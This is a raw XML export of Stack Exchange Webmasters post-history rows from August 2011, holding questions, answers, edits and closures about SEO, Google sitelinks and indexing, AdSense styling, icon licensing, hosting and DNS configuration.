  <row Id="45155" PostHistoryTypeId="2" PostId="18546" RevisionGUID="6e36f546-1294-4f7e-b58f-6832d88904b6" CreationDate="2011-08-21T13:24:33.437" UserId="1253" Text="&gt;I have to show link of owner of icon site on my commercial website. If yes, where will I show their link.&#xD;&#xA;&#xD;&#xA;Yes. If it is not specified you can place it anywhere you want as long as it is visible to users (and thus search engines). If you want to be nice you can place it in your footer although you can also bury it in an about page or a &quot;credits&quot; page.&#xD;&#xA;&#xD;&#xA;&gt;Is there any other icons package that I can use commercially for free without showing their link on my site?&#xD;&#xA;&#xD;&#xA;Yes. A quick Google search will find you lots of them." />
  <row Id="45156" PostHistoryTypeId="5" PostId="18443" RevisionGUID="c2156b02-a612-4306-9d58-9d978fb0e6fc" CreationDate="2011-08-21T13:25:18.537" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I just met a fellow designer who runs a website with the same pagerank as mine. When googling both our names, search results will show Site links below his website, but not mine. Do you know which attributes are handled by Google to define when and how these links are shown in search results?" />
  <row Id="45157" PostHistoryTypeId="10" PostId="18443" RevisionGUID="752f340a-e7ad-478a-b86e-cb6df9f054df" CreationDate="2011-08-21T13:25:18.227" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45158" PostHistoryTypeId="17" PostId="18547" RevisionGUID="55fecd42-b0c9-4496-950b-269e36acc63e" CreationDate="2011-08-21T13:26:40.663" UserId="-1" Comment="from http://stackoverflow.com/questions/7138501/how-to-best-format-your-html-to-help-google-display-your-websites-navigation-with" Text="" />
  <row Id="45159" PostHistoryTypeId="2" PostId="18547" RevisionGUID="0b97b03b-2bfc-4dbf-a304-bada56532b63" CreationDate="2011-08-21T13:16:57.330" UserDisplayName="android.nick" Text="Look at the first result for &quot;smashing magazine&quot; in the image below. See how Google grabbed SM's site navigation and displayed it below their search result? Are there any techniques that would help Google display the navigation like this? Are there any suggestions as to how to structure your HTML to help Google create this for your website's search result? Or in general, the best way to structure? Tricks of the trade? etc.?&#xD;&#xA;&#xD;&#xA;![Smashing Magazine's navigation added to their search result in Google Search][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/CNaQC.png" />
  <row Id="45160" PostHistoryTypeId="1" PostId="18547" RevisionGUID="0b97b03b-2bfc-4dbf-a304-bada56532b63" CreationDate="2011-08-21T13:16:57.330" UserDisplayName="android.nick" Text="How to best format your HTML to help Google display your websites navigation with the search result for your site in Google Search?" />
  <row Id="45161" PostHistoryTypeId="3" PostId="18547" RevisionGUID="0b97b03b-2bfc-4dbf-a304-bada56532b63" CreationDate="2011-08-21T13:16:57.330" UserDisplayName="android.nick" Text="&lt;html&gt;&lt;google&gt;&lt;navigation&gt;&lt;google-search&gt;" />
  <row Id="45162" PostHistoryTypeId="4" PostId="18535" RevisionGUID="5f433093-98cd-4b8e-8a53-840e2cc870e6" CreationDate="2011-08-21T13:26:43.217" UserId="1253" Comment="modified tags, minor text edits" Text="How to best protect my web designs? Licenses?" />
  <row Id="45163" PostHistoryTypeId="6" PostId="18535" RevisionGUID="5f433093-98cd-4b8e-8a53-840e2cc870e6" CreationDate="2011-08-21T13:26:43.217" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;legal&gt;&lt;theme&gt;&lt;protection&gt;&lt;licenses&gt;" />
  <row Id="45164" PostHistoryTypeId="2" PostId="18548" RevisionGUID="9cb8e344-2e52-4959-b758-516d0b802eee" CreationDate="2011-08-21T13:29:24.260" UserId="1253" Text="Allowing people to pay with their preferred currency *should* offer you higher conversion rates as anything that makes the user's experience easier typically increases conversion rates. However, offering too many options can have the opposite effect as users can feel overwhelmed and/or be confused by their options and abandon the payment process altogether. A good compromise would be to offer a few of the most common currencies so your users can choose a preferred currency without having too many to choose from." />
  <row Id="45165" PostHistoryTypeId="2" PostId="18549" RevisionGUID="319ab78f-ac13-44a0-9581-2d93552d69da" CreationDate="2011-08-21T13:31:24.493" UserId="1253" Text="No. HTML 5 is not harmful to mobile SEO. As mentioned in the comments above, HTML 5 is not a mobile specific markup language so it is not specifically mentioned in that Google help page. HTML 5, like HTML 4, is perfectly fine to use for a mobile website. &#xD;&#xA;&#xD;&#xA;If anything, using HTML5 is encouraged as it offers new semantic markup that makes it easier for search engines to decipher the content on the page. As search engines add support for HTML 5 this can only help your mobile SEO efforts." />
  <row Id="45166" PostHistoryTypeId="5" PostId="18528" RevisionGUID="c0c233a0-e927-4021-a5b6-d4d4f107f234" CreationDate="2011-08-21T13:36:15.003" UserId="1253" Comment="minor text edits" Text="I've just noticed that since the 20th Juli, Google Analytics hasn't picked up on my visitors and my website is no longer on Google.com. Only subdirectories like `website.com/forum/`. I can't recall having changed anything, and my analytics code is still there.&#xD;&#xA;&#xD;&#xA;Any idea why my site suddenly seems to block robots from checking my site?" />
  <row Id="45167" PostHistoryTypeId="2" PostId="18550" RevisionGUID="d8d57f4b-2518-4e45-8d13-b04ebe534a41" CreationDate="2011-08-21T13:41:06.107" UserId="8687" Text="Get onto [http://www.google.com/webmasters/][1] and validate your site on there. Look in particular under the section in Diagnostics under Malware and also Crawl Errors. If your site has picked up some hacker's malware then it will get blocked in Google and many modern browsers too. Also the crawl errors will show up problems such a robots.txt blocking indexing.&#xD;&#xA;&#xD;&#xA;Secondly check that the world at large can actually see your site. Check there's no hosting or DNS issue that is preventing people form viewing your site. Easy way to do this is just ask a friend to view the site in his browser and see it loads ok.&#xD;&#xA;&#xD;&#xA;Thirdly, have you made any big changes to your site in the last month. If so, try reversing them as they may have had an adverse affect.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/" />
  <row Id="45168" PostHistoryTypeId="17" PostId="18551" RevisionGUID="f4908c3a-641d-4aa1-9061-f137faa1d6be" CreationDate="2011-08-21T13:41:33.323" UserId="-1" Comment="from http://stackoverflow.com/questions/5857409/photo-printing-service-api-for-my-photo-sharing-website" Text="" />
  <row Id="45169" PostHistoryTypeId="2" PostId="18551" RevisionGUID="cbb92a7c-31bf-440b-8a19-11d539512297" CreationDate="2011-05-02T12:57:39.000" UserDisplayName="undefined" Text="I am triying to find a good photo printing service that will allow users of my photo sharing website to order print versions of the photos that they have uploaded to my site. I have looked at Snapfish and Shutterfly but wondered if there was any others that would do this. As far as I can tell snapfish have an affiliate program that pays a percentage for referrals to their site and an API called publisher which lets developers create apps that use photos already on the snapfish site but cant seem to see a way in which users of my site would be able to print on snapfish (without re-uploading to snapfish). What I want to be able to do is the following - &#xD;&#xA;&#xD;&#xA; 1. User uploads to my website&#xD;&#xA; 2. Clicks a 'Print' button &#xD;&#xA; 3. User gets redirected to 3rd party print service along with the photos they want to print&#xD;&#xA; 4. User signs in / registers with 3rd party service&#xD;&#xA; 5. Sees the photos they selected from my site&#xD;&#xA; 6. Completes order process&#xD;&#xA;&#xD;&#xA;Does anyone know of a service which will allow me to do this? Does snapfish or shutterfly work in this way? I know flickr can do this but I guess Snapfish are using the Flickr API to retrieve photos. I dont want users to have to download from my site and then re-upload to snapfish for example to print.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45170" PostHistoryTypeId="1" PostId="18551" RevisionGUID="cbb92a7c-31bf-440b-8a19-11d539512297" CreationDate="2011-05-02T12:57:39.000" UserDisplayName="undefined" Text="Photo printing service API for my photo sharing website" />
  <row Id="45171" PostHistoryTypeId="3" PostId="18551" RevisionGUID="cbb92a7c-31bf-440b-8a19-11d539512297" CreationDate="2011-05-02T12:57:39.000" UserDisplayName="undefined" Text="&lt;api&gt;" />
  <row Id="45172" PostHistoryTypeId="2" PostId="18552" RevisionGUID="942c0451-97db-499b-ba90-12b716bb5ec6" CreationDate="2011-08-21T13:42:12.110" UserId="1253" Text="If any page from your website can be found in Google's search results you aren't banned. Also, no visitors doesn't mean crawlers aren't visiting your site. Under &quot;Traffic Sources&quot; click on &quot;Search Engines&quot; to see if Google is crawling your pages.  &#xD;&#xA;&#xD;&#xA;The most likely reason why you don't see any traffic in your Google Analytics report is because you aren't getting any traffic to your website. This makes sense if your pages are no longer being found or ranking well in Google and Google is your number one referrer.&#xD;&#xA;&#xD;&#xA;If you search this site and Google you will find this is not uncommon. What you need to do is determine if your site violates Google's terms of service or offers low quality content. If so, you need to correct this. If not, your best bet is to continue to add quality content to your site and wait it out. " />
  <row Id="45173" PostHistoryTypeId="5" PostId="18547" RevisionGUID="d71370d8-88fe-4ff6-bb7d-f14d16a277a3" CreationDate="2011-08-21T13:44:41.673" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Look at the first result for &quot;smashing magazine&quot; in the image below. See how Google grabbed SM's site navigation and displayed it below their search result? Are there any techniques that would help Google display the navigation like this? Are there any suggestions as to how to structure your HTML to help Google create this for your website's search result? Or in general, the best way to structure? Tricks of the trade? etc.?&#xD;&#xA;&#xD;&#xA;![Smashing Magazine's navigation added to their search result in Google Search][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/CNaQC.png" />
  <row Id="45174" PostHistoryTypeId="10" PostId="18547" RevisionGUID="0ad83798-9a30-4b12-998b-5b38aaf8aef7" CreationDate="2011-08-21T13:44:41.343" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45175" PostHistoryTypeId="2" PostId="18553" RevisionGUID="1d3e2911-de56-42b6-bece-331037e822aa" CreationDate="2011-08-21T14:11:37.413" UserId="8687" Text="That's a normal Google Adsense advert but with some nice colour selections.&#xD;&#xA;&#xD;&#xA;Back in the day, Google didn't have many formats of ads. There were no image ads and no Ad Links (small or think text boxes). The only ads were text ads in banner shaped boxes.&#xD;&#xA;&#xD;&#xA;One feature Google introduced early on, was the ability to style the text in the ads so that the matched the look and feel of your site. When you create a text/image ad in Adsense you have the option to choose from a selection of template colours but you can also set your own choice of colours. In the case of your screenshot, they have opted for some nice purples and blues which go well with the rest of the site design. You can also adjust the font sizes a little, change the font-face, and also set rounded corners on or off.&#xD;&#xA;&#xD;&#xA;It's worth noting that Google Adsense TOS says you shouldn't make the ads look exactly like the text on your site. There should be some distinction so as users are not confused and can identify clearly what is an ad and what is not an ad. Additionally, some marketing people say that you should make your ads contrast with the site and stand out. This apparently gets you more clicks on the ads. Though it also makes your site look naff." />
  <row Id="45176" PostHistoryTypeId="5" PostId="18525" RevisionGUID="e3d97b6d-4541-4073-a6bb-22d8cbf5f647" CreationDate="2011-08-21T14:15:45.407" UserId="1253" Comment="minor text edits" Text="I saw blog which has nice formated Google Adsense ads, but I don't know how to generate them. Here is a screenshot: http://imgur.com/U0mzk (sorry for plain link but I'm too fresh here to use img tag )&#xD;&#xA;&#xD;&#xA;Is it text link format or what?&#xD;&#xA;" />
  <row Id="45177" PostHistoryTypeId="25" PostId="18551" RevisionGUID="d4faf3b3-165f-4821-b1c1-e907ed20cef8" CreationDate="2011-08-21T15:35:03.603" Comment="http://twitter.com/#!/StackWebmasters/status/105301897950404608" />
  <row Id="45178" PostHistoryTypeId="17" PostId="18554" RevisionGUID="d78f4c4c-03d5-4d4e-b3de-76f49d980767" CreationDate="2011-08-21T16:00:06.670" UserId="-1" Comment="from http://stackoverflow.com/questions/7139211/how-can-i-distribute-traffic-web-requests-geographically" Text="" />
  <row Id="45179" PostHistoryTypeId="17" PostId="18555" RevisionGUID="3b778ef2-0df2-45fe-9cff-63b86257d05a" CreationDate="2011-08-21T16:00:06.670" UserId="-1" Comment="from http://stackoverflow.com/questions/7139211/how-can-i-distribute-traffic-web-requests-geographically" Text="" />
  <row Id="45180" PostHistoryTypeId="2" PostId="18555" RevisionGUID="40f452ef-a31b-4c7d-a1e1-bf265ba87659" CreationDate="2011-08-21T15:38:52.443" UserId="9733" UserDisplayName="Laykes" Text="Don't bother, just use a CDN that routes your static requests geographically, and serve up your actual website (the .index.php for instance) at which ever location you wish. &#xD;&#xA;&#xD;&#xA;You could use a load balancer for redundancy but I don't think that you need to pay that much attention to the actual location of the server script. It is the web resources and static assets where you need to geo-serve which can be done by any CDN such as CloudFront on Amazon. &#xD;&#xA;&#xD;&#xA;http://aws.amazon.com/cloudfront/" />
  <row Id="45181" PostHistoryTypeId="2" PostId="18554" RevisionGUID="9d388820-00df-4593-a680-ec24b3fd1b35" CreationDate="2011-08-21T15:34:34.100" UserDisplayName="Carson" Text="If I have two web frontends -- one in Dallas, one in London -- how can I best route traffic from the US to Dallas, and abroad to London?" />
  <row Id="45182" PostHistoryTypeId="1" PostId="18554" RevisionGUID="9d388820-00df-4593-a680-ec24b3fd1b35" CreationDate="2011-08-21T15:34:34.100" UserDisplayName="Carson" Text="How can I distribute traffic web requests geographically?" />
  <row Id="45183" PostHistoryTypeId="3" PostId="18554" RevisionGUID="9d388820-00df-4593-a680-ec24b3fd1b35" CreationDate="2011-08-21T15:34:34.100" UserDisplayName="Carson" Text="&lt;web-hosting&gt;&lt;dns&gt;" />
  <row Id="45184" PostHistoryTypeId="5" PostId="18554" RevisionGUID="552677c2-2857-478e-9c4a-5261bf72ce6b" CreationDate="2011-08-21T16:05:24.703" UserId="1253" Comment="modified tags, minor text edits" Text="If I have two web frontends. one in Dallas, one in London. How can I best route traffic from the US to Dallas, and abroad to London?" />
  <row Id="45185" PostHistoryTypeId="6" PostId="18554" RevisionGUID="552677c2-2857-478e-9c4a-5261bf72ce6b" CreationDate="2011-08-21T16:05:24.703" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-hosting&gt;&lt;geolocation&gt;" />
  <row Id="45186" PostHistoryTypeId="2" PostId="18556" RevisionGUID="ac38c1fc-255f-48d6-b6ee-8c5a0146fb1f" CreationDate="2011-08-21T16:16:16.243" UserId="8245" Text="I finally went with Amazon Web Services. It offers everything I need &#xD;&#xA;&#xD;&#xA;&gt; - Complete access to machine.&#xD;&#xA;&gt; - Access to extra storage at Amazon Simple Storage (Amazon S3)&#xD;&#xA;&gt; - Ability to scale up as needed (Amazon EC2)&#xD;&#xA;&#xD;&#xA;It is cheap so far (around $10 a month). I know that after my 1 year free tier membership, the rates might go up; but it still should be manageable (about $20-30 a month)&#xD;&#xA;&#xD;&#xA;My site is up and running for the last 2 months now &#xD;&#xA;&#xD;&#xA;&gt; [www.rationalspring.com][1]  &#xD;&#xA;[www.rationalspring.com/blog][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rationalspring.com&#xD;&#xA;  [2]: http://www.rationalspring.com/blog" />
  <row Id="45187" PostHistoryTypeId="5" PostId="18556" RevisionGUID="7145c025-4447-4457-8175-7b9700faaf46" CreationDate="2011-08-21T16:43:49.073" UserId="1253" Comment="removed unnecessary links to site" Text="I finally went with Amazon Web Services. It offers everything I need &#xD;&#xA;&#xD;&#xA;&gt; - Complete access to machine.&#xD;&#xA;&gt; - Access to extra storage at Amazon Simple Storage (Amazon S3)&#xD;&#xA;&gt; - Ability to scale up as needed (Amazon EC2)&#xD;&#xA;&#xD;&#xA;It is cheap so far (around $10 a month). I know that after my 1 year free tier membership, the rates might go up; but it still should be manageable (about $20-30 a month)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rationalspring.com&#xD;&#xA;  [2]: http://www.rationalspring.com/blog" />
  <row Id="45188" PostHistoryTypeId="2" PostId="18557" RevisionGUID="5c2b1667-ae56-434f-8fc3-2ebdac5ada98" CreationDate="2011-08-21T16:45:57.420" UserId="9495" Text="How to know how regular the pages of itpian(dot)com are indexed by google?&#xD;&#xA;&#xD;&#xA;Thanks :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45189" PostHistoryTypeId="1" PostId="18557" RevisionGUID="5c2b1667-ae56-434f-8fc3-2ebdac5ada98" CreationDate="2011-08-21T16:45:57.420" UserId="9495" Text="How to know how regular the pages of itpian(dot) com are indexed by google, please anwser" />
  <row Id="45190" PostHistoryTypeId="3" PostId="18557" RevisionGUID="5c2b1667-ae56-434f-8fc3-2ebdac5ada98" CreationDate="2011-08-21T16:45:57.420" UserId="9495" Text="&lt;google&gt;&lt;websites&gt;&lt;indexing&gt;&lt;google-index&gt;" />
  <row Id="45191" PostHistoryTypeId="2" PostId="18558" RevisionGUID="2150dadf-2b92-4867-868e-3e81fea0a16c" CreationDate="2011-08-21T16:54:19.450" UserId="9495" Text="Is 66,200 results in google good for a start up QnA content based website. &#xD;&#xA;&#xD;&#xA;itpian.com" />
  <row Id="45192" PostHistoryTypeId="1" PostId="18558" RevisionGUID="2150dadf-2b92-4867-868e-3e81fea0a16c" CreationDate="2011-08-21T16:54:19.450" UserId="9495" Text="Is 66,200 results in google good for a start up content based website." />
  <row Id="45193" PostHistoryTypeId="3" PostId="18558" RevisionGUID="2150dadf-2b92-4867-868e-3e81fea0a16c" CreationDate="2011-08-21T16:54:19.450" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;seo-friendly&gt;" />
  <row Id="45194" PostHistoryTypeId="5" PostId="18557" RevisionGUID="f087f131-5dbf-45dd-a452-6051dc7d032d" CreationDate="2011-08-21T17:04:05.437" UserId="1253" Comment="modified tags, minor text edits" Text="How to know how regular the pages of itpian(dot)com are indexed by google?&#xD;&#xA;" />
  <row Id="45195" PostHistoryTypeId="4" PostId="18557" RevisionGUID="f087f131-5dbf-45dd-a452-6051dc7d032d" CreationDate="2011-08-21T17:04:05.437" UserId="1253" Comment="modified tags, minor text edits" Text="How to know how regular the pages of itpian(dot) com are indexed by google?" />
  <row Id="45196" PostHistoryTypeId="6" PostId="18557" RevisionGUID="f087f131-5dbf-45dd-a452-6051dc7d032d" CreationDate="2011-08-21T17:04:05.437" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;google&gt;&lt;indexing&gt;&lt;google-index&gt;" />
  <row Id="45197" PostHistoryTypeId="2" PostId="18559" RevisionGUID="b7d9ca4e-81ef-4628-b2b6-7fa9062b15bb" CreationDate="2011-08-21T17:04:43.237" UserId="1253" Text="Do a search for your site name using the &quot;site:&quot; operator: [`itpian site:itpian.com`][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=itpian%20site:itpian.com" />
  <row Id="45198" PostHistoryTypeId="5" PostId="18558" RevisionGUID="04e02350-b4ce-4f8f-aae9-2652388c53c7" CreationDate="2011-08-21T17:05:37.293" UserId="1253" Comment="minor text edits" Text="Is 66,200 results in google good for a start up QnA content based website. &#xD;&#xA;" />
  <row Id="45199" PostHistoryTypeId="4" PostId="18558" RevisionGUID="04e02350-b4ce-4f8f-aae9-2652388c53c7" CreationDate="2011-08-21T17:05:37.293" UserId="1253" Comment="minor text edits" Text="Is 66,200 results in google good for a start up content based website" />
  <row Id="45200" PostHistoryTypeId="2" PostId="18560" RevisionGUID="0a48d03f-19fc-4907-b672-bbee90eabcb0" CreationDate="2011-08-21T17:06:52.300" UserId="1253" Text="Maybe. It depends on how many pages exist in your wesbsite. If you have 66,200 pages then that is good. If you have millions then that's not so good. &#xD;&#xA;&#xD;&#xA;Keep in mind that pages indexed do not directly correlate to good rankings. Also, the number of pages indexed has nothing to do with the content or format of the website." />
  <row Id="45201" PostHistoryTypeId="25" PostId="18554" RevisionGUID="48668741-659c-4862-93d2-aecef622603a" CreationDate="2011-08-21T18:35:03.497" Comment="http://twitter.com/#!/StackWebmasters/status/105347196907560960" />
  <row Id="45202" PostHistoryTypeId="2" PostId="18561" RevisionGUID="a404dd5a-7f3c-4d0a-925a-6648ca6f2c62" CreationDate="2011-08-21T21:31:43.850" UserId="9690" Text="I'm currently creating a website. Part of the website I want people to be able to have their own subsite that they can add content (text files with descriptions) to (think jQuery plugins page). Is there any package that does this?&#xD;&#xA;&#xD;&#xA;If not, what would be the process of learning how to do this?&#xD;&#xA;&#xD;&#xA;I'm using HostGator so I can do it in PHP, Perl, ROR, and CGI (not sure what that is, I think it's Perly). I would rather PHP as I think it has the lowest learning curve, and I've dabbled in it already.&#xD;&#xA;&#xD;&#xA;My goal is to have a site where I can post content on the main page and other people will have their own directories (example.com/user/johnDoe) where they can post file types of my choosing but I'm still the sitemaster and they're just my minions." />
  <row Id="45203" PostHistoryTypeId="1" PostId="18561" RevisionGUID="a404dd5a-7f3c-4d0a-925a-6648ca6f2c62" CreationDate="2011-08-21T21:31:43.850" UserId="9690" Text="How would I make something like jQuery plugins subsite?" />
  <row Id="45204" PostHistoryTypeId="3" PostId="18561" RevisionGUID="a404dd5a-7f3c-4d0a-925a-6648ca6f2c62" CreationDate="2011-08-21T21:31:43.850" UserId="9690" Text="&lt;web-hosting&gt;&lt;php&gt;" />
  <row Id="45205" PostHistoryTypeId="25" PostId="18533" RevisionGUID="8a6ce988-c4a2-460e-83bf-2ef9d34bbb9b" CreationDate="2011-08-21T21:35:03.703" Comment="http://twitter.com/#!/StackWebmasters/status/105392497013956608" />
  <row Id="45206" PostHistoryTypeId="2" PostId="18562" RevisionGUID="866a3ec4-8a74-4f9e-835b-b2c81169f18c" CreationDate="2011-08-21T21:42:02.473" UserId="6113" Text="I would expect a contract for a website design and development to contain clauses that transfer the rights to the design and code to the client after the work is done. So it is no longer &quot;your&quot; code and design, save for personal rights. What you are really asking here is what you can do if your client wants to change the contract. That depends on the contract, of course. However, I think there is no reason to stick with this particular client. Just get paid for what you have already done and move on. It does not make sense to cooperate with people who want to treat you like that. The cheapest clients are the worst kind.&#xD;&#xA;&#xD;&#xA;Sorry if it does not answer your question directly but this is the best advice I can offer." />
  <row Id="45207" PostHistoryTypeId="2" PostId="18563" RevisionGUID="94a6bee2-2958-42e8-be9f-9ff238783ec8" CreationDate="2011-08-21T21:57:47.177" UserId="9721" Text="As an owner of multiple websites I sometimes find it difficult to remember when each site needs renewing. Another problem is that I have to log into every single site to check the site traffic statistics. Is there a centralized tool that I can use which will display all the websites in a table with their current stats, expiry dates etc? I noticed that people tend to use Excel, but this doesn't seem like a viable solution for my problem. I expect that the number of sites I own/maintain will continue to increase. I also design websites for others, most of which don't understand the concept of paying for hosting and domain names. If I was able to list other peoples sites which I have access to I would be able to notify them and arrange payment prior to it being required.&#xD;&#xA;&#xD;&#xA;~Sam" />
  <row Id="45208" PostHistoryTypeId="1" PostId="18563" RevisionGUID="94a6bee2-2958-42e8-be9f-9ff238783ec8" CreationDate="2011-08-21T21:57:47.177" UserId="9721" Text="How do I keep track of multiple websites?" />
  <row Id="45209" PostHistoryTypeId="3" PostId="18563" RevisionGUID="94a6bee2-2958-42e8-be9f-9ff238783ec8" CreationDate="2011-08-21T21:57:47.177" UserId="9721" Text="&lt;design&gt;&lt;tracking&gt;&lt;statistics&gt;" />
  <row Id="45210" PostHistoryTypeId="17" PostId="18564" RevisionGUID="5c4fde21-5f98-41de-8fbf-23241c99d089" CreationDate="2011-08-21T21:58:45.870" UserId="-1" Comment="from http://stackoverflow.com/questions/7141244/seo-in-images-path" Text="" />
  <row Id="45211" PostHistoryTypeId="17" PostId="18565" RevisionGUID="551cfcdf-30b0-4110-9f68-fbafd152cd1d" CreationDate="2011-08-21T21:58:45.870" UserId="-1" Comment="from http://stackoverflow.com/questions/7141244/seo-in-images-path" Text="" />
  <row Id="45212" PostHistoryTypeId="2" PostId="18565" RevisionGUID="92a305d0-4310-4883-875f-c42f5e5342d6" CreationDate="2011-08-21T21:21:25.710" UserId="9722" UserDisplayName="Russ C" Text="In a nutshell, yes, putting short concise keywords in your image url helps, but you've got the most important part which is naming the image file as a keyword." />
  <row Id="45213" PostHistoryTypeId="2" PostId="18564" RevisionGUID="733098f6-a0bb-4f0c-8188-40922ae2eefc" CreationDate="2011-08-21T21:17:26.627" UserDisplayName="tunoyed90" Text="Does including keywords in the image's *folder* path of any importance at all for SEO ? (Keywords for the image's *filename* are important.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;/**foobar**/images/keyword.jpg&#xD;&#xA;&#xD;&#xA;vs&#xD;&#xA;&#xD;&#xA;/**keyword**/images/keyword.jpg" />
  <row Id="45214" PostHistoryTypeId="1" PostId="18564" RevisionGUID="733098f6-a0bb-4f0c-8188-40922ae2eefc" CreationDate="2011-08-21T21:17:26.627" UserDisplayName="tunoyed90" Text="SEO in image's path?" />
  <row Id="45215" PostHistoryTypeId="3" PostId="18564" RevisionGUID="733098f6-a0bb-4f0c-8188-40922ae2eefc" CreationDate="2011-08-21T21:17:26.627" UserDisplayName="tunoyed90" Text="&lt;html&gt;&lt;websites&gt;&lt;seo&gt;" />
  <row Id="45216" PostHistoryTypeId="2" PostId="18566" RevisionGUID="307960fc-7bb3-471d-b6a3-dd129683e797" CreationDate="2011-08-21T22:55:45.577" UserId="9724" Text="I am looking for a simple way to minimize ads on a website I'm developing in WordPress by only showing ads (Google Adsense, to be precise) on pages once they become popular.  In other words, if ever the site sees a huge influx of traffic, I would like to begin delivering ads.  Otherwise, I would like to keep the site ad-free.&#xD;&#xA;&#xD;&#xA;Is there a simple way, or plug-in, to do this in WordPress?" />
  <row Id="45217" PostHistoryTypeId="1" PostId="18566" RevisionGUID="307960fc-7bb3-471d-b6a3-dd129683e797" CreationDate="2011-08-21T22:55:45.577" UserId="9724" Text="Is there a simple way to only show ads on a WordPress page once it becomes popular?" />
  <row Id="45218" PostHistoryTypeId="3" PostId="18566" RevisionGUID="307960fc-7bb3-471d-b6a3-dd129683e797" CreationDate="2011-08-21T22:55:45.577" UserId="9724" Text="&lt;wordpress&gt;&lt;google-adsense&gt;&lt;advertising&gt;" />
  <row Id="45219" PostHistoryTypeId="2" PostId="18567" RevisionGUID="078bb5fb-1823-4c6c-ba38-6c98d0a2b691" CreationDate="2011-08-22T00:26:16.637" UserId="4502" Text="The jQuery Plugins site is built with &lt;a href=&quot;http://drupal.org/&quot;&gt;Drupal&lt;/a&gt;.  &#xD;&#xA;Beyond that, it's functionally a pretty standard community site, except that the content being submitted by users is a plugin rather than say, blog posts. Here's a &lt;a href=&quot;http://drupal.org/node/206724&quot;&gt;node&lt;/a&gt; listing a bunch of modules commonly used for building such things. It hasn't been updated for a while, though; there are going to be a lot of newer things, but might server as a bit of foundation for your research." />
  <row Id="45220" PostHistoryTypeId="25" PostId="18564" RevisionGUID="8f60f54e-06af-43e0-971a-439bbcff6e14" CreationDate="2011-08-22T00:35:05.763" Comment="http://twitter.com/#!/StackWebmasters/status/105437800618405888" />
  <row Id="45221" PostHistoryTypeId="2" PostId="18568" RevisionGUID="980501fc-e3bb-493c-91a2-787720976f27" CreationDate="2011-08-22T02:24:02.200" UserId="9640" Text="No it does not. You can even import them into WSP." />
  <row Id="45222" PostHistoryTypeId="2" PostId="18569" RevisionGUID="66afc9ea-3a30-4e14-a84f-6c609d6f1ccf" CreationDate="2011-08-22T02:24:40.953" UserId="9539" Text="I have read about Meat Descriptions here on the webmasters forum. The question I have is is it necessary or important to have description on pages that are not being index by the search engine. Like for instances pages in &quot;Members Area&quot; section of my site or pages blocked by a robots.txt file.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="45223" PostHistoryTypeId="1" PostId="18569" RevisionGUID="66afc9ea-3a30-4e14-a84f-6c609d6f1ccf" CreationDate="2011-08-22T02:24:40.953" UserId="9539" Text="Meta Descriptions for pages not Indexed by Search Engin?" />
  <row Id="45224" PostHistoryTypeId="3" PostId="18569" RevisionGUID="66afc9ea-3a30-4e14-a84f-6c609d6f1ccf" CreationDate="2011-08-22T02:24:40.953" UserId="9539" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;meta-description&gt;&lt;metadata&gt;" />
  <row Id="45225" PostHistoryTypeId="2" PostId="18570" RevisionGUID="fecf26de-2ca0-42dc-af2b-c16ec943f6dc" CreationDate="2011-08-22T02:29:09.917" UserId="9640" Text="Double check if you have any A record matching `research`. Do not change name servers if you want to use GoDaddy's DNS manager. " />
  <row Id="45226" PostHistoryTypeId="5" PostId="18516" RevisionGUID="a9143535-9a7b-42dd-9067-1381ba72da97" CreationDate="2011-08-22T02:32:16.277" UserId="8799" Comment="added 37 characters in body" Text="Me and some friends from university actually got around that by sharing a VPS. Sharing keeps costs down and you have a sysadmin you know *to quarrel with.* It's *like being in the labs* again.&#xD;&#xA;&#xD;&#xA;Apart from that, if you are that pythoniac, you may consider Google Apps and its [Datastore API][1], certainly not the same as having a simple site with python, but... also *without* many of the issues (updates, which version to keep, what library works with which version...) having a simple site in python sometimes raises.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/docs/python/datastore/" />
  <row Id="45227" PostHistoryTypeId="4" PostId="18569" RevisionGUID="567a3ce0-01d2-42d5-9c98-311e2c264d65" CreationDate="2011-08-22T02:33:39.393" UserId="9539" Comment="edited title" Text="Meta Descriptions for pages not Indexed by Search Engine?" />
  <row Id="45228" PostHistoryTypeId="2" PostId="18571" RevisionGUID="020d7ccf-12f6-4dee-bcd5-3fc973b970ff" CreationDate="2011-08-22T02:35:33.807" UserId="9640" Text="Open IIS7 manager and on the right hand size select `Bindings`. Here you can set a host header to your site. Don't forget this name must be resolved to the IP address of the machine hosting the web site. You can do that in you DNS server. If you don't have any DNS server you can set the IP address in hosts file in `%windir%\System32\drivers\etc`. " />
